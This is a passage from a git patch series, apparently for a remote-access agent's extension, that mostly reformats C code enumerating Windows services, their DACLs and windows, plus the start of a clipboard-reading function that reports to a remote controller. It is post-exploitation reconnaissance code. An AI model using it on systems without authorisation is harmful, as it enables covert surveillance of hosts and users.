pCloseServiceHandle( scService ); + if (scService && pCloseServiceHandle) + pCloseServiceHandle(scService); - if( scManager && pCloseServiceHandle ) - pCloseServiceHandle( scManager ); + if (scManager && pCloseServiceHandle) + pCloseServiceHandle(scManager); - if( hAdvapi32 ) - FreeLibrary( hAdvapi32 ); + if (hAdvapi32) + FreeLibrary(hAdvapi32); return dwResult; #else @@ -165,7 +169,7 @@ DWORD query_service( LPCSTR cpServiceName, Packet *pResponse ) #endif } -DWORD enumerate_services( Packet *pResponse ) +DWORD enumerate_services(Packet *pResponse) { #ifdef _WIN32 // currently we only support Windoze @@ -185,63 +189,63 @@ DWORD enumerate_services( Packet *pResponse ) do { - dprintf( "Loading advapi32.dll" ); - if( (hAdvapi32 = LoadLibraryA( "advapi32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load advapi32.dll" ); + dprintf("Loading advapi32.dll"); + if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load advapi32.dll"); - dprintf( "Searching for OpenSCManagerA" ); - if( (pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress( hAdvapi32, "OpenSCManagerA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate OpenSCManagerA in advapi32.dll" ); + dprintf("Searching for OpenSCManagerA"); + if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) + BREAK_ON_ERROR("Unable to locate OpenSCManagerA in advapi32.dll"); - dprintf( "Searching for CloseServiceHandle" ); - if( (pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress( hAdvapi32, "CloseServiceHandle" )) == NULL ) - dprintf( "Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway." ); + dprintf("Searching for CloseServiceHandle"); + if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) + dprintf("Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); - dprintf( "Searching for EnumServicesStatusExA" ); - if( (pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress( hAdvapi32, "EnumServicesStatusExA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate EnumServicesStatusExA in advapi32.dll." ); + dprintf("Searching for EnumServicesStatusExA"); + if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) + BREAK_ON_ERROR("Unable to locate EnumServicesStatusExA in advapi32.dll."); // TODO: add support for other machine names so that this instance can query other machines on the network. - dprintf( "Opening the Service Control manager" ); - if( (scManager = pOpenSCManagerA( NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT|GENERIC_READ )) == NULL ) - BREAK_ON_ERROR( "Unable to open the service control manager" ); + dprintf("Opening the Service Control manager"); + if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) + BREAK_ON_ERROR("Unable to open the service control manager"); - bResult = pEnumServicesStatusExA( scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, + bResult = pEnumServicesStatusExA(scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); - if( !bResult && dwBytesNeeded ) + if (!bResult && dwBytesNeeded) { - pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc( dwBytesNeeded ); + pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded); - if( !pSsInfo ) - BREAK_ON_ERROR( "Out of memory" ); + if (!pSsInfo) + BREAK_ON_ERROR("Out of memory"); - bResult = pEnumServicesStatusExA( scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)pSsInfo, dwBytesNeeded, + bResult = pEnumServicesStatusExA(scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)pSsInfo, dwBytesNeeded, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); } - if( !bResult ) - BREAK_ON_ERROR( "Failed to enumerate services" ); + if (!bResult) + BREAK_ON_ERROR("Failed to enumerate services"); - dprintf( "%s with %u entries returned", ( bResult ? "succeeded" : "failed"), dwServicesReturned ); + dprintf("%s with %u entries returned", (bResult ? "succeeded" : "failed"), dwServicesReturned); - for( dwServiceIndex = 0; dwServiceIndex < dwServicesReturned; ++dwServiceIndex ) + for (dwServiceIndex = 0; dwServiceIndex < dwServicesReturned; ++dwServiceIndex) { - add_enumerated_service( pResponse, pSsInfo[dwServiceIndex].lpServiceName, pSsInfo[dwServiceIndex].lpDisplayName, + add_enumerated_service(pResponse, pSsInfo[dwServiceIndex].lpServiceName, pSsInfo[dwServiceIndex].lpDisplayName, pSsInfo[dwServiceIndex].ServiceStatusProcess.dwProcessId, pSsInfo[dwServiceIndex].ServiceStatusProcess.dwCurrentState, - pSsInfo[dwServiceIndex].ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS ); + pSsInfo[dwServiceIndex].ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS); } - } while(0); + } while (0); - if( pSsInfo ) - free( pSsInfo ); + if (pSsInfo) + free(pSsInfo); - if( scManager && pCloseServiceHandle ) - pCloseServiceHandle( scManager ); + if (scManager && pCloseServiceHandle) + pCloseServiceHandle(scManager); - if( hAdvapi32 ) - FreeLibrary( hAdvapi32 ); + if (hAdvapi32) + FreeLibrary(hAdvapi32); return dwResult; #else @@ -250,41 +254,41 @@ DWORD enumerate_services( Packet *pResponse ) } #ifdef _WIN32 -VOID add_enumerated_service( Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive ) +VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive) { - Tlv entries[5] = {0}; - dprintf( "Adding Name: %s", cpName ); - entries[0].header.type = TLV_TYPE_EXT_SERVICE_ENUM_NAME; - entries[0].header.length = (DWORD)strlen( cpName ) + 1; - entries[0].buffer = (PUCHAR)cpName; - - dprintf( "Adding Display Name: %s", cpDisplayName ); - entries[1].header.type = TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME; - entries[1].header.length = (DWORD)strlen( cpDisplayName ) + 1; - entries[1].buffer = (PUCHAR)cpDisplayName; - - dprintf( "Adding PID: %u", dwProcessId ); - dwProcessId = htonl( dwProcessId ); - entries[2].header.type = TLV_TYPE_EXT_SERVICE_ENUM_PID; - entries[2].header.length = sizeof( DWORD ); - entries[2].buffer = (PUCHAR)&dwProcessId; - - dprintf( "Adding Status: %u", dwStatus ); - dwStatus = htonl( dwStatus ); - entries[3].header.type = TLV_TYPE_EXT_SERVICE_ENUM_STATUS; - entries[3].header.length = sizeof( DWORD ); - entries[3].buffer = (PUCHAR)&dwStatus; - - dprintf( "Adding Status: %s", (bInteractive ? "TRUE" : "FALSE" ) ); - entries[4].header.type = TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE; - entries[4].header.length = sizeof( BOOL ); - entries[4].buffer = (PUCHAR)&bInteractive; - - dprintf( "Adding group to response" ); - packet_add_tlv_group( pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, entries, 5 ); + Tlv entries[5] = { 0 }; + dprintf("Adding Name: %s", cpName); + entries[0].header.type = TLV_TYPE_EXT_SERVICE_ENUM_NAME; + entries[0].header.length = (DWORD)strlen(cpName) + 1; + entries[0].buffer = (PUCHAR)cpName; + + dprintf("Adding Display Name: %s", cpDisplayName); + entries[1].header.type = TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME; + entries[1].header.length = (DWORD)strlen(cpDisplayName) + 1; + entries[1].buffer = (PUCHAR)cpDisplayName; + + dprintf("Adding PID: %u", dwProcessId); + dwProcessId = htonl(dwProcessId); + entries[2].header.type = TLV_TYPE_EXT_SERVICE_ENUM_PID; + entries[2].header.length = sizeof(DWORD); + entries[2].buffer = (PUCHAR)&dwProcessId; + + dprintf("Adding Status: %u", dwStatus); + dwStatus = htonl(dwStatus); + entries[3].header.type = TLV_TYPE_EXT_SERVICE_ENUM_STATUS; + entries[3].header.length = sizeof(DWORD); + entries[3].buffer = (PUCHAR)&dwStatus; + + dprintf("Adding Status: %s", (bInteractive ? "TRUE" : "FALSE")); + entries[4].header.type = TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE; + entries[4].header.length = sizeof(BOOL); + entries[4].buffer = (PUCHAR)&bInteractive; + + dprintf("Adding group to response"); + packet_add_tlv_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, entries, 5); } -DWORD get_service_config( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ) +DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse) { DWORD dwResult = ERROR_SUCCESS; PQUERYSERVICECONFIGA pQueryServiceConfigA = NULL; @@ -293,39 +297,39 @@ DWORD get_service_config( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespo do { - dprintf( "Searching for QueryServiceConfigA" ); - if( (pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress( hAdvapi32, "QueryServiceConfigA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate QueryServiceConfigA in advapi32.dll." ); + dprintf("Searching for QueryServiceConfigA"); + if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) + BREAK_ON_ERROR("Unable to locate QueryServiceConfigA in advapi32.dll."); - if( pQueryServiceConfigA( scService, NULL, 0, &cbBytesNeeded ) ) - BREAK_ON_ERROR( "This query should have failed" ); + if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) + BREAK_ON_ERROR("This query should have failed"); - if( GetLastError() != ERROR_INSUFFICIENT_BUFFER ) - BREAK_ON_ERROR( "Unexpected error from QueryServiceConfigA" ); + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + BREAK_ON_ERROR("Unexpected error from QueryServiceConfigA"); - if( (lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc( cbBytesNeeded )) == NULL ) - BREAK_ON_ERROR( "Out of memory" ); + if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) + BREAK_ON_ERROR("Out of memory"); - if( !pQueryServiceConfigA( scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded ) ) - BREAK_ON_ERROR( "QueryServiceConfigA failed" ); + if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) + BREAK_ON_ERROR("QueryServiceConfigA failed"); - dprintf( "Start type: %u", lpServiceConfig->dwStartType ); - packet_add_tlv_uint( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "" ); - packet_add_tlv_bool( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); + dprintf("Start type: %u", lpServiceConfig->dwStartType); + packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); + packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName); + packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName); + packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName); + packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : ""); + packet_add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); - } while(0); + } while (0); - if( lpServiceConfig ) - free( lpServiceConfig ); + if (lpServiceConfig) + free(lpServiceConfig); return dwResult; } -DWORD get_service_dacl( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ) +DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse) { DWORD dwResult = ERROR_SUCCESS; DWORD dwBytesNeeded = 0; @@ -336,38 +340,38 @@ DWORD get_service_dacl( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespons do { - dprintf( "Searching for QueryServiceObjectSecurity" ); - if( (pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress( hAdvapi32, "QueryServiceObjectSecurity" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate QueryServiceObjectSecurity in advapi32.dll." ); + dprintf("Searching for QueryServiceObjectSecurity"); + if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) + BREAK_ON_ERROR("Unable to locate QueryServiceObjectSecurity in advapi32.dll."); + + dprintf("Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA"); + if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) + BREAK_ON_ERROR("Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll."); - dprintf( "Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA" ); - if( (pCSDTSSDA = (PCSDTSSDA)GetProcAddress( hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll." ); + if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) + BREAK_ON_ERROR("Call should have failed"); - if( pQueryServiceObjectSecurity( scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded ) ) - BREAK_ON_ERROR( "Call should have failed" ); + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + BREAK_ON_ERROR("Unexpected error getting security"); - if( GetLastError() != ERROR_INSUFFICIENT_BUFFER ) - BREAK_ON_ERROR( "Unexpected error getting security" ); + if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) + BREAK_WITH_ERROR("Out of memory", ERROR_OUTOFMEMORY); - if( (pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc( dwBytesNeeded )) == NULL ) - BREAK_WITH_ERROR( "Out of memory", ERROR_OUTOFMEMORY ); + if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) + BREAK_ON_ERROR("Unable to query security information for DACL_SECURITY_INFORMATION"); - if( !pQueryServiceObjectSecurity( scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded ) ) - BREAK_ON_ERROR( "Unable to query security information for DACL_SECURITY_INFORMATION" ); + if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) + BREAK_ON_ERROR("Unable to get DACL string"); - if( !pCSDTSSDA( pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL ) ) - BREAK_ON_ERROR( "Unable to get DACL string" ); - - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString ); + packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); - } while(0); + } while (0); - if( lpDaclString ) - LocalFree( lpDaclString ); + if (lpDaclString) + LocalFree(lpDaclString); - if( pSecurityDescriptor ) - free( pSecurityDescriptor ); + if (pSecurityDescriptor) + free(pSecurityDescriptor); return dwResult; } diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index 2137fba..f09741f 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -5,8 +5,8 @@ #include "extapi.h" #include "window.h" -VOID add_enumerated_window( Packet *pResponse, QWORD qwHandle, const char* lpWindowTitle, DWORD dwProcessId ); -DWORD enumerate_windows( Packet *response ); +VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const char* cpWindowTitle, DWORD dwProcessId); +DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWindow); #ifdef _WIN32 @@ -14,11 +14,11 @@ DWORD enumerate_windows( Packet *response ); #define MAX_WINDOW_TITLE 256 /*! @brief EnumChildWindows function pointer type. */ -typedef BOOL (WINAPI * PENUMCHILDWINDOWS)( HWND hWndParent, WNDENUMPROC enumProc, LPARAM lparam ); +typedef BOOL(WINAPI * PENUMCHILDWINDOWS)(HWND hWndParent, WNDENUMPROC enumProc, LPARAM lparam); /*! @brief GetWindowTextA function pointer type. */ -typedef int (WINAPI * PGETWINDOWTEXA)( HWND hWnd, LPSTR lpString, int nMaxCount ); +typedef int (WINAPI * PGETWINDOWTEXA)(HWND hWnd, LPSTR lpString, int nMaxCount); /*! @brief GetWindowThreadProcessId function pointer type. */ -typedef DWORD (WINAPI * PGETWINDOWTHREADPROCESSID)( HWND hWnd, LPDWORD lpdwProcessId ); +typedef DWORD(WINAPI * PGETWINDOWTHREADPROCESSID)(HWND hWnd, LPDWORD lpdwProcessId); /*! @brief Container type used to maintain state across EnumChildWindows callback calls. */ typedef struct _EnumWindowsState @@ -29,39 +29,40 @@ typedef struct _EnumWindowsState PGETWINDOWTHREADPROCESSID pGetWindowThreadProcessId; ///< Pointer to the GetWindowThreadProcessId function. } EnumWindowsState; -BOOL CALLBACK enumerate_windows_callback( HWND hWnd, LPARAM lParam ) +BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam) { char windowTitle[MAX_WINDOW_TITLE]; DWORD dwThreadId = 0; DWORD dwProcessId = 0; EnumWindowsState* pState = (EnumWindowsState*)lParam; - dprintf( "Enumerated window %x", hWnd ); + dprintf("Enumerated window %x", hWnd); do { - dprintf( "Getting window title %p", pState->pGetWindowTextA ); - if( pState->pGetWindowTextA( hWnd, windowTitle, MAX_WINDOW_TITLE ) == 0 ) { - dprintf( "Unable to get window title. Setting to ." ); - if( pState->bIncludeUnknown ) { - strncpy_s( windowTitle, MAX_WINDOW_TITLE, "", MAX_WINDOW_TITLE - 1 ); - } else { + dprintf("Getting window title %p", pState->pGetWindowTextA); + if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0) { + dprintf("Unable to get window title. Setting to ."); + if (pState->bIncludeUnknown) { + strncpy_s(windowTitle, MAX_WINDOW_TITLE, "", MAX_WINDOW_TITLE - 1); + } + else { break; } } - dprintf( "Getting process ID %p", pState->pGetWindowThreadProcessId ); - dwThreadId = pState->pGetWindowThreadProcessId( hWnd, &dwProcessId ); + dprintf("Getting process ID %p", pState->pGetWindowThreadProcessId); + dwThreadId = pState->pGetWindowThreadProcessId(hWnd, &dwProcessId); - dprintf(" Adding enumerated response" ); - add_enumerated_window( pState->pResponse, (QWORD)hWnd, windowTitle, dwProcessId ); - } while(0); + dprintf(" Adding enumerated response"); + add_enumerated_window(pState->pResponse, (QWORD)hWnd, windowTitle, dwProcessId); + } while (0); return TRUE; } #endif -DWORD enumerate_windows( Packet *response, BOOL bIncludeUnknown, QWORD parentWindow ) +DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWindow) { #ifdef _WIN32 // currently we only support Windoze @@ -73,36 +74,36 @@ DWORD enumerate_windows( Packet *response, BOOL bIncludeUnknown, QWORD parentWin do { - dprintf( "Loading user32.dll" ); - if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load user32.dll" ); + dprintf("Loading user32.dll"); + if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load user32.dll"); - dprintf( "Searching for GetWindowTextA" ); - if( (state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress( hUser32, "GetWindowTextA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GetWindowTextA in user32.dll" ); - dprintf( "Found GetWindowTextA %p", state.pGetWindowTextA ); + dprintf("Searching for GetWindowTextA"); + if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) + BREAK_ON_ERROR("Unable to locate GetWindowTextA in user32.dll"); + dprintf("Found GetWindowTextA %p", state.pGetWindowTextA); - dprintf( "Searching for GetWindowThreadProcessId" ); - if( (state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress( hUser32, "GetWindowThreadProcessId" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GetWindowThreadProcessId in user32.dll" ); - dprintf( "Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId ); + dprintf("Searching for GetWindowThreadProcessId"); + if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) + BREAK_ON_ERROR("Unable to locate GetWindowThreadProcessId in user32.dll"); + dprintf("Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId); state.pResponse = response; state.bIncludeUnknown = bIncludeUnknown; - dprintf( "Searching for EnumChildWindows" ); - if( (pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress( hUser32, "EnumChildWindows" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate EnumChildWindows in user32.dll" ); + dprintf("Searching for EnumChildWindows"); + if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) + BREAK_ON_ERROR("Unable to locate EnumChildWindows in user32.dll"); - dprintf( "Beginning enumeration of child windows with parent %u", parentWindow ); - if( !pEnumChildWindows( parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state ) ) - BREAK_ON_ERROR( "Failed to enumerate child windows" ); + dprintf("Beginning enumeration of child windows with parent %u", parentWindow); + if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) + BREAK_ON_ERROR("Failed to enumerate child windows"); dwResult = ERROR_SUCCESS; - } while(0); + } while (0); - if( hUser32 ) - FreeLibrary( hUser32 ); + if (hUser32) + FreeLibrary(hUser32); return dwResult; #else @@ -110,61 +111,61 @@ DWORD enumerate_windows( Packet *response, BOOL bIncludeUnknown, QWORD parentWin #endif } -DWORD request_window_enum( Remote *remote, Packet *packet ) +DWORD request_window_enum(Remote *remote, Packet *packet) { - QWORD parentWindow = NULL; + QWORD parentWindow = 0; DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeUnknown = FALSE; - Packet * response = packet_create_response( packet ); + Packet * response = packet_create_response(packet); do { - if( !response ) { - dprintf( "Unable to create response packet" ); + if (!response) { + dprintf("Unable to create response packet"); dwResult = ERROR_OUTOFMEMORY; break; } // Extract the specified parent window. If this is NULL, that's ok, as we'll // just enumerate top-level windows. - parentWindow = packet_get_tlv_value_qword( packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE ); + parentWindow = packet_get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE); // Extract the flag that indicates of unknown windows should be included in the output - bIncludeUnknown = packet_get_tlv_value_bool( packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN ); + bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN); - dprintf( "Beginning window enumeration" ); - dwResult = enumerate_windows( response, bIncludeUnknown, parentWindow ); + dprintf("Beginning window enumeration"); + dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow); - } while(0); + } while (0); - dprintf( "Transmitting response back to caller." ); - if( response ) - packet_transmit_response( dwResult, remote, response ); + dprintf("Transmitting response back to caller."); + if (response) + packet_transmit_response(dwResult, remote, response); return dwResult; } -VOID add_enumerated_window( Packet *pResponse, QWORD qwHandle, const char* cpWindowTitle, DWORD dwProcessId, BOOL bVisible ) +VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const char* cpWindowTitle, DWORD dwProcessId) { - Tlv entries[4] = {0}; - - dprintf( "Adding PID: %u", dwProcessId ); - dwProcessId = htonl( dwProcessId ); - entries[0].header.type = TLV_TYPE_EXT_WINDOW_ENUM_PID; - entries[0].header.length = sizeof( DWORD ); - entries[0].buffer = (PUCHAR)&dwProcessId; - - dprintf( "Adding Handle: %p", qwHandle ); - qwHandle = htonq( qwHandle ); - entries[1].header.type = TLV_TYPE_EXT_WINDOW_ENUM_HANDLE; - entries[1].header.length = sizeof( QWORD ); - entries[1].buffer = (PUCHAR)&qwHandle; - - dprintf( "Adding title: %s", cpWindowTitle ); - entries[2].header.type = TLV_TYPE_EXT_WINDOW_ENUM_TITLE; - entries[2].header.length = (DWORD)strlen( cpWindowTitle ) + 1; - entries[2].buffer = (PUCHAR)cpWindowTitle; - - dprintf( "Adding group to response" ); - packet_add_tlv_group( pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, entries, 3 ); + Tlv entries[4] = { 0 }; + + dprintf("Adding PID: %u", dwProcessId); + dwProcessId = htonl(dwProcessId); + entries[0].header.type = TLV_TYPE_EXT_WINDOW_ENUM_PID; + entries[0].header.length = sizeof(DWORD); + entries[0].buffer = (PUCHAR)&dwProcessId; + + dprintf("Adding Handle: %p", qwHandle); + qwHandle = htonq(qwHandle); + entries[1].header.type = TLV_TYPE_EXT_WINDOW_ENUM_HANDLE; + entries[1].header.length = sizeof(QWORD); + entries[1].buffer = (PUCHAR)&qwHandle; + + dprintf("Adding title: %s", cpWindowTitle); + entries[2].header.type = TLV_TYPE_EXT_WINDOW_ENUM_TITLE; + entries[2].header.length = (DWORD)strlen(cpWindowTitle) + 1; + entries[2].buffer = (PUCHAR)cpWindowTitle; + + dprintf("Adding group to response"); + packet_add_tlv_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, entries, 3); } From 0f5fa84383b128c41b3b9a137336e88db64b5f7c Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 2 Nov 2013 21:35:46 +1000 Subject: [PATCH 12/20] Add Doxygen documnetation to extapi --- source/extensions/extapi/clipboard.c | 119 ++++++------- source/extensions/extapi/clipboard_image.cpp | 31 ++-- source/extensions/extapi/clipboard_image.h | 3 + source/extensions/extapi/extapi.c | 9 +- source/extensions/extapi/service.c | 171 +++++++++++++------ source/extensions/extapi/service.h | 2 +- source/extensions/extapi/window.c | 78 ++++++--- 7 files changed, 259 insertions(+), 154 deletions(-) diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index 96a4922..c653d55 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -103,45 +103,45 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) do { - dprintf("Loading user32.dll"); + dprintf("[EXTAPI CLIPBOARD] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll"); - dprintf("Loading kernel32.dll"); + dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll"); if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll"); - dprintf("Searching for GlobalLock"); + dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock"); if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) - BREAK_ON_ERROR("Unable to locate GlobalLock in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll"); - dprintf("Searching for GlobalUnlock"); + dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock"); if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) - BREAK_ON_ERROR("Unable to locate GlobalUnlock in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll"); - dprintf("Searching for OpenClipboard"); + dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard"); if ((pOpenClipboard = 